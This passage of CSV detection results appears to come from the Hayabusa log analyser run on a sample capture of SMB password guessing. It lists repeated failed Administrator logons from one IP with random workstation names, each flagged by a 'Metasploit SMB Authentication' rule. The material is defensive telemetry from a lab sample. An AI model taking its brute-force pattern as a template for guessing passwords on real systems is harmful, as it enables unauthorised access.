Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.768 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MCFTP4gVGEKFKuRI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.768 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ALrDwJz2cta9fcXB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.841 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZZNXGw28osMQLjub : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.841 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.882 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4wQzvMnwYuEQRO7V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.882 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.917 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: UloOAIgGuj6NecfR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.917 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: cVSeLo2PRgGmf83Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:12.960 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SaCFO8CPFLuERugV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.042 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QCwV1D4L5BDZSriK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.042 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.090 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QPhLQsM4R2ua4SxW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.090 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.136 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fwgp52JNi7xnTxpN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.136 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.184 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j2GutBDenjweAluz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.184 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.250 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wflcgg5ebqu8hHGL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.250 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.292 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: jXaaYSU2pakw6IsK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.292 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.344 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BfJnBv3eA8wZttML : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.344 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.393 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kOXSI0jPfbvW4dAg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.393 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8JW6aX5mNz7cETsl : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.428 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.478 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NVuJLXJzlVnDLT4Q : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.478 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.528 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WtSwhwnApnPI9AkO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.528 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.568 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1peOkjbd1WXGEAAM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.568 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.616 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Tbw3V9MtLIcxr65R : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.616 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.648 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CEZ2v1f6t0luDj4D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.648 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.689 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: R0omMppAFlFhE1mG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.689 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.734 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0jMvVN9eSeGW3zcN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.734 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.782 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: HnFNYabbO7IpbVku : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.782 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.816 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8KtyTTNdqVikZGYY : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.816 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.864 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: DCChjnFv2hMXXwgW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.864 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.918 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FvIYRZSomaJYJOH5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.918 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: FEirUFRscaOwTuAg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:13.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RwQgMM9H1oN4te9Z : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.005 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JbGILYTcFwtYbDk1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.168 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: p5KzNsgWvyUhNEHd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.168 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.213 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KGvwbOtP3A5eDKCZ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.213 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.261 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YZvtNNX511hIleST : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.261 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.299 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lJBRTeW6OQtNrt5u : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.299 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.348 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Hovgq99STVt2GzrO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.348 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.380 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4kpT3gf0VCAVuVSa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.380 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.428 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tiB04AvkYp0PP3n1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.428 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.479 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PPluKgaiT10oC35V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.479 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8nCOM9uUeqv9QBx6 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.527 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.574 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dSPrrNCh2FSWZKbI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.574 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.621 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aLDnCjr4pSdKAMX7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.621 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: G0UnmfB7lcXKEAvn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.673 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.722 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ogjMSxcUw7cF5dMa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.722 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.773 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 75uB8ejsSV5CbagM : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.773 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5MMHLnyrzBQxluHn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.814 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.862 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5QXLn6fpmR52RBAz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.862 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.908 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KcdlrSUzcFNpaK5v : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:51:14.908 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 